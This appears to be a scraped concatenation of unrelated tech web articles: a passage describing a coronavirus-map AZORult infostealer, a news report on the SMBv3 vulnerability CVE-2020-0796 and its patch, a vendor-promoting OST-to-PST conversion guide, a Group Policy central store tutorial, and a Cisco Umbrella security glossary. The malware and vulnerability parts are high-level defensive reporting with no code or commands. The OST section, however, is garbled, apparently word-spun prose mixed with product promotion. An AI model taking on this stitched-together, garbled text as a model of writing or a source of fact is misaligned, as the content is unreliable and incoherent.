Executing the Corona-virus-Map.com.exe results in the creation of duplicates of the Corona-virus-Map.com.exe file and multiple Corona.exe, Bin.exe, Build.exe, and Windows.Globalization.Fontgroups.exe files.
Additionally, the malware modifies a handful of registers under ZoneMap and LanguageList. Several mutexes are also created.
Execution of the malware activates the following processes: Bin.exe, Windows.Globalization.Fontgroups.exe, and Corona-virus-Map.com.exe. These attempt to connect to several URLs.
These processes and URLs are only a sample of what the attack entails. There are many other files generated and processes initiated. They create various network communication activities as malware tries to gather different kinds of information.
How the Attack Steals Information
Alfasi presented a detailed account of how he dissected the malware in a blog post on the Reason Security blog. One highlight detail is his analysis of the Bin.exe process with Ollydbg. Accordingly, the process wrote some dynamic link libraries (DLL). The DLL "nss3.dll" caught his attention as it is something he was acquainted with from different actors.
Alfasi observed a static loading of APIs associated with nss3.dll. These APIs appeared to facilitate the decryption of saved passwords as well as the generation of output data.
This is a common approach used by data thieves. Relatively simple, it only captures the login data from the infected web browser and moves it to the C:\Windows\Temp folder. It's one of the hallmarks of an AZORult attack, wherein the malware extracts data, generates a unique ID of the infected computer, applies XOR encryption, then initiates C2 communication.
The malware makes specific calls in an attempt to steal login data from common online accounts such as Telegram and Steam.
To emphasize, malware execution is the only step needed for it to proceed with its information-stealing processes. Victims don't need to interact with the window or input sensitive information therein.
Cleaning and Prevention
It may sound promotional, but Alfasi suggests Reason Antivirus software as the solution to fix infected devices and prevent further attacks. He is affiliated with Reason Security, after all. Reason is the first to find and scrutinize this new threat, so they can handle it effectively.
Other security firms are likely to have already learned about this threat, since Reason made it public on March 9. Their antiviruses or malware protection tools will have been updated as of publication time.
As such, they may be similarly capable of detecting and preventing the new threat.
The key to removing and stopping the opportunistic "coronavirus map" malware is to have the right malware protection system. It will be challenging to detect it manually, let alone remove the infection without the right software tool.
It may not be enough to be cautious in downloading and running files from the internet, as many tend to be overeager in accessing information about the novel coronavirus nowadays.
The pandemic level dispersion of COVID-19 merits utmost caution not only offline (to avoid contracting the disease) but also online. Cyber attackers are exploiting the popularity of coronavirus-related resources on the web, and many will likely fall prey to the attacks.
Microsoft today finally released an emergency software update to patch the recently disclosed very dangerous vulnerability in SMBv3 protocol that could let attackers launch wormable malware, which can propagate itself from one vulnerable computer to another automatically.
The vulnerability, tracked as CVE-2020-0796, in question is a remote code execution flaw that impacts Windows 10 version 1903 and 1909, and Windows Server version 1903 and 1909.
Server Message Block (SMB), which runs over TCP port 445, is a network protocol that has been designed to enable file sharing, network browsing, printing services, and interprocess communication over a network.
The latest vulnerability, for which a patch update (KB4551762) is now available on the Microsoft website, exists in the way SMBv3 protocol handles requests with compression headers, making it possible for unauthenticated remote attackers to execute malicious code on target servers or clients with SYSTEM privileges.
Compression headers is a feature that was added to the affected protocol of Windows 10 and Windows Server operating systems in May 2019, designed to compress the size of messages exchanged between a sever and clients connected to it.
"To exploit the vulnerability against a server, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv3 server. To exploit the vulnerability against a client, an unauthenticated attacker would need to configure a malicious SMBv3 server and convince a user to connect to it," Microsoft said in the advisory.
At the time of writing, there is only one known PoC exploit that exists for this critical remotely exploitable flaw, but reverse engineering new patches could now also help hackers find possible attack vectors to develop fully weaponized self-propagating malware.
A separate team of researchers have also published a detailed technical analysis of the vulnerability, concluding a kernel pool overflow as the root cause of the issue.
As of today, there are nearly 48,000 Windows systems vulnerable to the latest SMB compression vulnerability and accessible over the Internet.
Since a patch for the wormable SMBv3 flaw is now available to download for affected versions of Windows, it's highly recommended for home users and businesses to install updates as soon as possible, rather than merely relying on the mitigation.
In cases where immediate patch update is not applicable, it's advised to at least disable SMB compression feature and block SMB port for both inbound and outbound connections to help prevent remote exploitation.
To convert OST to PST in Outlook 2019/2016/2013/2010 a lot of users search for a perfect way. Numerous reasons are here that initiate users to convert OST to PST; the main is, PST files are easy to port and accessible. Here, by this blog, we will understand know-how to convert OST to PST in Outlook 2019/2016/2013/2010.
OST stands for Offline Storage Tables. The OST is a format that records Exchange Server mailbox organizers and folders in the disconnected zone or when web accessibility isn’t available. The OST format offers to execute the Outlook mailbox usefulness in the disconnected mode i.e., without interfacing with the Server. Despite the fact that Offline Storage Table records can’t be efficacy through external aggravations or some other disturbance, that makes it more best and impressive for standard business tasks.
Notwithstanding the Outlook version, regardless of whether it is Microsoft Outlook 2019, 2016, 2013, 2010, 2007 or any more seasoned ANSI release, inaccessible OST format file requires troubleshooting so as to recapture access to the information put away inside in the system. The most effortless approach to fix a wide range of OST issues, irrespective of harm or misfortune is to change over the OST record to Outlook PST document.
There are numerous strategies to execute the conversion process of OST data to PST file format; however, some strategies are harder while some are the most secure approaches to convert OST to PST in Outlook 2019/2016/2013/2010.
Know before Convert OST to PST in Outlook 2019/2010/2013/2010
You can’t extract information from the OST document to a PST legitimately. That implies you should sign in with the first profile so as to export the OST document information to PST. So, you’ll get a strategy given beneath.
OST file format is a duplicate copy of your Exchange mailbox; you can reproduce it by re-syncing with the mailbox.
There is no real way to change over an OST file format to a PST file format by utilizing Microsoft devices. If your unique email account isn’t accessible or if your OST file format deprives. For this situation, there’s just a single way you can change over the OST record to PST—by utilizing a professional third-party tool.
No. 1 Strategy: Utilize Outlook Archive feature
The first strategy to duplicate or move mailbox things into PST is based on the utilization of the Archive option given in Outlook. The option of Outlook offers to copy entire data of OST file into PST file format; however, it will not copy contact of OST file.
To get the copy of the OST file format, go with beneath commands.
Open Outlook profile that has that particular OST file.
Then, Click on the File tab, then, click on Info, and after that Click on the Clean-up Tools button.
Next, choose Archive from the choices
In the Archive comment box that shows up, guarantee that Archive this organizer and all subfolders alternative is chosen (it is chosen by default)
Next, choose the organizer that you have to export to PST (e.g.: Outbox)
In the Archive things more established than a box, give a date. Entire things that sent before till the predefined date will archive
Under Archive file: choice, provide the path destination to save the new PST
Finally, Click on the OK button to complete the execution of exportation.
No.2 Strategy: Drag and Drop Mailbox Items
Surely, drag and drop of Mailbox items are one of the best ways to relocate the OST file format into PST file format. To do the relocation through Drag and Drop mailbox items process, you need to Open a blank PST file in the Microsoft Outlook interface and then choose and drag the required mailbox from OST data into the PST blank page.
Although, with the drag and drop items technique, there are a few constraints too. This is time taking process. It will need to repeat the procedure for every OST file item that required to be relocated in the PST file format. This expects tender loving care as the procedure is tedious; thusly, a solitary slip-up will prompt a superfluous redundancy of the procedure.
Also, the organizer hierarchy, just as the default organizers, for example, Calendars, Contacts, Inbox, and so forth., can’t be legitimately moved and you have to make another PST document to deal with the whole information in an organized way.
No. 3 Strategy: Outlook Import & Export Wizard
Microsoft Outlook Import and Export wizard is a compelling method to change over OST information to PST file format in Outlook 2010 and different variants. With the procedure, you can move OST information to Excel and CSV documents. Although, you would need to be cautious while executing the means as this is a manual technique.
Additionally, you should be in fact capable to execute the built-in import/export technique. Any misstep may result in loss of access to your important information So, it is prescribed to back up the OST document before beginning the exporting procedure with the goal that you can reestablish the information if the need is while execution.
No.4 Strategy: Use Shoviv OST to PST Converter
As, there are many reasons as well strategies to save your OST data into PST file format; however, I’ve told you three strategies to convert OST file format to PST format. Although, those manual strategies have few risks of failure and take a lot of time of the client with tediousness. So, this tactic is for professionals, who just want to do their OST conversion with no time and misfortune.
Use Shoviv OST to PST Converter to do conversion hassle-free and efficient. The prominent OST to PST Converter tool gives a programmed utility to export numerous OST documents to Outlook PSTs, also extract entire mailbox items unblemished. The software additionally split and compact the PST documents to enable you to oversee them in a progressively organized way. Furthermore, it additionally straightforwardly export the OST file information to Office 365, which enormously assists on the off chance that you’re relocating your mailboxes to the cloud environment. Consequently, Microsoft MVPs suggest the product based OST transformation technique.
Professionally Convert OST to PST in Outlook 2019/2016/2013/2010:
Step 1: Download Shoviv OST to PST to Converter and Install and launch it on your system.
Step 2: Click on the Add OST Files button of Ribbon bar.
Step3: Using Add, Remove, Remove All and Search button, add required OST files and check them. Also, browse the temp path.
Note: If your OST file is highly corrupted or you want to recover the deleted items from your OST file go for the ‘Advance Scan’ option. Commonly it takes time to examine a document relies on the volume of information it incorporates. You can likewise abort the scan process by using the given Stop button in the interface.
Step 4: Now users can view the selected files in the folder list; the user can also expand the folder by making a right-click and can see the content of it.
Step 5: Make a right-click on selected files or click the OST to PST button of the ribbon bar and go with the “Save all Files in Outlook PST” option.
Step6: Check/Uncheck Subfolders option will appear, check the subfolder and proceed by clicking the Next.
Step 7: Now, you will be prompted to Filter page. apply the filter using Process Message Class and Process Item Date Range. Click the Next Button.
Step 8: In this page, users have the option to choose if a user wants to migrate in an existing PST or wants to create new PST and want to migrate in it. Here, user can also set size for the PST file, after given size resultant PST file will split. Provide the priority and click on the Next button.
Step 9: The conversion of OST to PST proceeds now, after successful conversion, a message “Process Completed Successfully” will appear, click Ok. Option to save the report is also given. Click on the Save Report button for this. Click Finish when all is done.
At variance with sparing Exchange OST mailboxes to Outlook PST file format, Convert OST to PST tool from Shoviv permits changing over the Offline records to numerous document arrangements including MSG, HTML, EML, and RTF.
Group Policy is used in Active Directory (AD) domain environments to centrally manage Windows Server and client configuration settings. By default, when using Group Policy management tools, like the Group Policy Management Console (GPMC), the Group Policy settings you see available are taken from a set of Group Policy template files found in the local %systemroot%\PolicyDefinitions folder.
Group Policy templates are language-neutral XML files with an .admx file extension. The descriptions for each policy setting are stored separately in .adml files. There is one .adml file for each language corresponding to the respective .admx Group Policy template. Bear in mind that .admx files are just templates and the actual settings applied to Windows are stored in registry.pol files. Before Windows Vista Service Pack 1, Group Policy templates used a different file format and file extension (.adm).
Some applications, like Google Chrome, Microsoft Office, and the new version of Microsoft Edge, come with their own Group Policy templates that you can download and add to PolicyDefinitions. But adding or modifying templates in the local PolicyDefinitions folder means that you will only see the new or changed settings in GPMC on the device where the Group Policy template was added or changed.
Create a central Group Policy store
So that all Group Policy administrators see the same settings in GPMC, regardless of which device they are using, you can create a PolicyDefinitions folder in your domain’s SYSVOL folder. This is sometimes referred to as a Group Policy central store. GPMC will then use this domain network location to retrieve templates instead of using the local PolicyDefinitions folder. SYSVOL, and any child folders, is automatically replicated to all domain controllers in your AD domain.
To create a PolicyDefinitions folder in your domain, log in to a domain controller as a domain administrator. Then create a folder called PolicyDefinitions in the Policies folder in the UNC path shown below. You will need to replace ad.contoso.com with the Fully Qualified Domain Name (FQDN) of your AD domain.
Adding Group Policy templates to the central store
Once the folder has been created as shown in the screenshot above, all that’s left to do is populate it with Group Policy templates and .adml language files. There are two ways you can do this. You can copy the contents of the C:\Windows\PolicyDefinitions folder on a Windows 8.1 or Windows 10 computer to the domain SYSVOL PolicyDefinitions folder.
Alternatively, Microsoft makes Group Policy templates, for each supported version of Windows and Windows Server, available on its website here. Download the contents of the required template CAB and copy the extracted files to the domain SYSVOL PolicyDefinitions folder.
Next time you open GPMC, it will check for a SYSVOL PolicyDefinitions folder. If it exists, it will use the templates from the domain folder instead of the local version of the templates. When you expand Administrative Templates in GPMC, you’ll see Policy definitions (ADMX files) retrieved from the central store written to the left if GPMC was able to detect a central store. If nothing additional is written, the templates are being retrieved from the PCs local store.
The central Group Policy store is a good idea in principle. But you can only have one central store, and you need to back it up and update it when Windows is patched or upgraded. If you are managing different versions of Windows in your environment, using one central Group Policy store can lead to issues. Especially now that there are so many supported versions of Windows 10 that you could potentially have in your environment at once.
In principle, Group Policy templates for the latest version of Windows are backwards compatible with previous versions of the operating system. But sometimes Microsoft changes Group Policy setting names and drops settings that might still be required in older versions of Windows. This can lead to errors parsing Group Policy on your systems if a central store is used.
To avoid this issue, you can dedicate a PC or virtual machine for the management of Group Policy for a specific version of Windows, without using a central Group Policy store. It might not be as convenient from a management perspective, but it does ensure separation of Group Policy templates for each version of Windows and that you are using the latest versions of the templates. And it is more likely to ensure that policy settings are applied as expected.
Let’s do a show of hands — who loves jargon? Anyone?
I didn’t think so.
Face it, aside from trivia champions, jargon doesn’t make life any easier for us. If you’re attending your first security conference this year, you might feel like you need an interpreter to make sense of the technical terminology and acronyms you’ll find around every corner.
At Cisco Umbrella, we’re fluent in cybersecurity – and we want to help you make sense of the often-confusing security landscape! In this post, we define key cybersecurity terms that everyone should know in 2020 — and beyond.
Part 1: Threats
Backdoor: A backdoor is an access point designed to allow quick and undetected entrance to a program or system, usually for malicious purposes. A backdoor can be installed by an attacker using a known security vulnerability, and then used later to gain unfettered access to a system.
Botnet: A botnet is a portmanteau for “robot network.” It’s a collection of infected machines that can be used for any number of questionable activities, from cryptomining to DDoS attacks to automated spam comments on blogs.
Command-and-control (C2) attacks: Command-and-control attacks are especially dangerous because they are launched from inside your network. Security technologies like firewalls are designed to recognize and stop malicious activity or files from entering your network. However, a command-and-control attack is trickier than a standard threat. A file doesn’t start out showing any malicious behavior, so it is deemed harmless by your firewall and permitted to enter your network. Once inside, the file stays dormant for a set period of time or after being triggered remotely. Then, the file reaches out to a malicious domain and downloads harmful data, infecting your network.
Denial of Service (DoS) Attack: This type of attack consumes all of the resources of a target so that it can no longer be used or reached, effectively taking it down. DoS attacks are designed to take a website or server offline, whether for monetary, political, or other reasons. A DDoS, or Distributed Denial of Service attack, is a subcategory of DoS attack that is carried out using two or more hosts, often via a botnet.
Drive-by download: A drive-by download installs malware invisibly in the background when the user visits a malicious webpage, without the user’s knowledge or consent. Often, drive-by downloads take advantage of browser or browser plug-in vulnerabilities that accept a download under the assumption that it’s a benign activity. Using an up-to-date secure browser can help protect you against this type of attack.
Exploit: An exploit is any attack that takes advantage of a weakness in your system. It can make use of software, bits of data, and even social engineering (like pretending to be someone from your IT team who needs your password to perform a security update). To minimize exploits, it’s important to keep your software up-to-date and to be aware of social engineering techniques (see below).
Malware: Malware is a generic term for any program installed on a system with the intent to corrupt, damage, or disable that system. Razy, TeslaCry, NotPetya, and Emotet are a few recent examples.
Cryptomining malware: Cryptomining by itself is not necessarily malicious — many people mine crypto currency on their own systems. Malicious cryptomining, however, is a browser- or software-based threat that enables bad actors to hijack system resources to generate crypto currencies. Cryptomining malware is an easy way for bad actors to generate cash while remaining anonymous and without having to use their own resources. Learn more about the cryptomining malware threat.
Ransomware: Ransomware is malware used to encrypt a victim’s data with an encryption key that is known only to the attacker. The data becomes unusable until the victim pays a ransom to decrypt the data (usually in cryptocurrency). Ransomware is a fast-growing and serious threat — learn more in our newly updated guide to ransomware defense.
Rootkits: A rootkit is a malicious piece of code that hides itself in your system, prevents detection, and enables bad actors to gain continued access to your system. If attackers gain full access to your system once, they can use rootkits to continue that access over a long period of time.
Spyware: Malicious code that gathers information about you and your browsing habits, and then sends that information to a third party.
Trojans: A trojan is a seemingly innocuous program that acts as a front for malicious code hiding inside. Trojans can do any number of things, from stealing data to allowing remote system control. These programs take their name from the famous Grecian “Trojan Horse” that took advantage of a similar vulnerability.
Viruses: Often used as a blanket term, a virus is a piece of code that attaches itself to files, such as email attachments or files you download online. Once it infects your system, it can cause all kinds of problems, whether that means deleting system files or corrupting your data. Computer viruses also replicate and spread across networks – just like viruses in the physical world.
Worms: A worm is a type of malware that clones itself in order to spread to other computers, performing various damaging actions on whatever system it infects. Unlike a virus, a worm exists as a standalone entity — it isn’t hidden inside something else like an attachment.
MitM or Man-in-the-Middle Attack: A MitM attack is pretty much what it sounds like. An attacker will intercept, relay, and potentially change messages between two parties without their knowledge. MitM can be used to break encryption, compromise account details, or gain access to systems by impersonating a user.
Phishing: Phishing is a technique that mimics a legitimate communication (like an email from your online bank) to steal sensitive information. Like fishermen with a lure, attackers will attempt to take your personal information by using fake emails, forms, and web pages to coax you to provide it to them.
Spear phishing is a form of phishing that targets one specific individual by using publicly accessible data about them, like from a business card or social media profile.
Whale phishing goes one step further than spear phishing and describes a targeted attack on a high-ranking individual, like a CEO or government official.
Social engineering: A general term for any activity in which an attacker is trying to manipulate you into revealing information, whether over email, phone, web forms, or social media platforms. Passwords, account credentials, social security numbers — we often don’t think twice about giving this information away to someone we can trust, but who’s really on the other end of the line? Protect yourself, and think twice before sharing. It’s always OK to verify the request for information in another way, like calling an official customer support number.
Zero-day (0day): A zero day attack is when a bad actor exploits a new, previously unknown software vulnerability for which there is no patch. It’s a constant struggle to stay ahead of attackers, but you don’t have to do it alone — you can get help from the security experts at Cisco Talos.
Part 2: Solutions
Anti-malware: Anti-malware software is a broad category of software designed to block, root out, and destroy viruses, worms, and other nasty things that are described in this list. These products need to be updated regularly to ensure that they remain effective against new threats. They can be deployed at various points in the network chain (email, endpoint, data center, cloud) and either on-premises or delivered from the cloud.
Cloud access security broker (CASB): This is software that provides the ability to detect and report on the cloud applications that are in use across your environment. It provides visibility into cloud apps in use as well as their risk profiles, and the ability to block/allow specific apps. Read more about securing cloud apps here.
Cloud security: this is a subcategory of information security and network security. It is a broad term that can include security policies, technologies, applications, and controls that are used to protect sensitive company and user data wherever it is exposed in a public, private, or hybrid cloud environment.
DNS-layer security: This is the first line of defense against threats because DNS resolution is the first step in establishing a connection to the internet. It blocks requests to malicious and unwanted destinations before a connection is even established — stopping threats over any port or protocol before they reach your network or endpoints. Learn more about DNS-layer security here.
Email security: This refers to the technologies, policies, and practices used to secure the access and content of email messages within an organization. Many attacks are launched via email messages, whether through targeted attacks (see note on phishing above) or malicious attachments or links. A robust email security solution protects you from attacks whether email is in transit across your network or when it is on a user’s device.
Encryption: This is the process of scrambling messages so that they cannot be read until they are decrypted by the intended recipient. There are several types of encryption, and it’s an important component of a robust security strategy.
Endpoint security: if DNS-layer security is the first line of defense against threats, then you might think of endpoint security as the last line of defense! Endpoints can include desktop computers, laptop computers, tablets, mobile phones, desk phones, and even wearable devices — anything with a network address is a potential attack path. Endpoint security software can be deployed on an endpoint to protect against file-based, fileless, and other types of malware with threat detection, prevention, and remediation capabilities.
Firewall: Imagine all the nasty, malicious stuff on the Internet without anything to stop it. A firewall stands between your trusted entities and whatever lies beyond, controlling access based on security rules. A firewall can be hardware or software, a standalone security appliance or a cloud-delivered solution.
Next-generation firewall (NGFW): This is the industry’s new solution for an evolved firewall. It is typically fully integrated with the rest of the security stack, threat-focused, and delivers comprehensive, unified policy management of firewall functions, application control, threat prevention, and advanced malware protection from the network to the endpoint.
Security information and event management (SIEM): This is a broad term for products that deal with security information management (SIM) and security event management (SEM). These systems allow for aggregation of information and events into a single “pane of glass” for security teams to use.
Secure web gateway (SWG): This is a proxy that can log and inspect all of your web traffic for greater transparency, control, and protection. It allows for real-time inspection of inbound files for malware, sandboxing, full or selective SSL decryption, content filtering, and the ability to block specific user activities in select apps.
Secure internet gateway (SIG): This is a cloud-delivered solution that unifies a variety of connectivity, content control, and access technologies to provide users with safe access to the internet, both on and off the network. By operating from the cloud, a SIG protects user access anywhere and everywhere, with traffic routing to the gateway for inspection and policy enforcement regardless of what users are connecting to, or where they’re connecting from. Because a SIG extends security beyond the edge of the traditional network — and without the need for additional hardware or software — thousands of enterprises have adopted it as a modern catch-all for ensuring that users, devices, endpoints, and data have robust protection from threats.
Secure access service edge (SASE): Gartner introduced an entirely new enterprise networking and security category called “secure access service edge.” SASE brings together networking and security services into one unified solution designed to deliver strong security from edge to edge — in the data center, at remote offices, with roaming users, and beyond. By consolidating a variety of powerful point solutions into one solution that can be deployed anywhere from the cloud, SASE can provide better protection and faster network performance, while reducing the cost and work it takes to secure the network.
Cybersecurity is always evolving, and it can be hard to keep up with the rapid pace of changes. Be sure to bookmark this blog post – we’ll keep it up to date as new threats and technologies emerge. To learn more, check out our recent blog posts about cybersecurity research, or come chat with our security experts in person in Barcelona at Cisco Live EMEA this month. Don’t be shy!